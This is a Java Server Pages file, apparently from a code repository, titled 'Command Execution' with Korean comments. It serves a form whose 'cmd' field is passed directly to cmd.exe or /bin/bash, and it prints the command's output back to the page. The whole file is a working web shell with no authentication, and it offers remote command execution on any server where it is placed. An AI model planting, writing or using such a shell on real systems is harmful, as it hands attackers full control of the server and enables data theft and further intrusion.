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56 lines
1.9 KiB
56 lines
1.9 KiB
2 years ago
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<%@ page import="java.io.*, java.nio.charset.StandardCharsets" %>
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<%@ page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%>
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<!DOCTYPE html>
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<html>
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<head>
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<meta charset="UTF-8">
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<title>Command Execution</title>
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</head>
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<body>
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<form method="GET" name="cmdForm" action="">
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<input type="text" name="cmd">
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<input type="submit" value="Execute">
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</form>
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<div>
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<%
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if (request.getParameter("cmd") != null)
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{
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String osName = System.getProperty("os.name").toLowerCase();
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String command = request.getParameter("cmd");
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out.println("<strong>"+"명령어 : " + request.getParameter("cmd") + "</strong>" + "<br><br>");
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// Windows인 경우
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if (osName.indexOf("windows") != -1) {
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String[] cmdArray = {"cmd.exe", "/C", command};
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ProcessBuilder pb = new ProcessBuilder(cmdArray);
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pb.redirectErrorStream(true);
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Process process = pb.start();
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InputStreamReader in = new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8);
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BufferedReader br = new BufferedReader(in);
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String line;
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while ((line = br.readLine()) != null) {
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out.println(line +"<br>");
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}
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}
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// 다른 OS인 경우 (Linux, macOS 등)
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else {
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String[] cmdArray = {"/bin/bash", "-c", command};
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ProcessBuilder pb = new ProcessBuilder(cmdArray);
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pb.redirectErrorStream(true);
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Process process = pb.start();
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InputStreamReader in = new InputStreamReader(process.getInputStream(), StandardCharsets.UTF_8);
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BufferedReader br = new BufferedReader(in);
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String line;
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while ((line = br.readLine()) != null) {
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out.println(line +"<br>");
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}
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}
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}
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%>
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</div>
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</body>
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</html>
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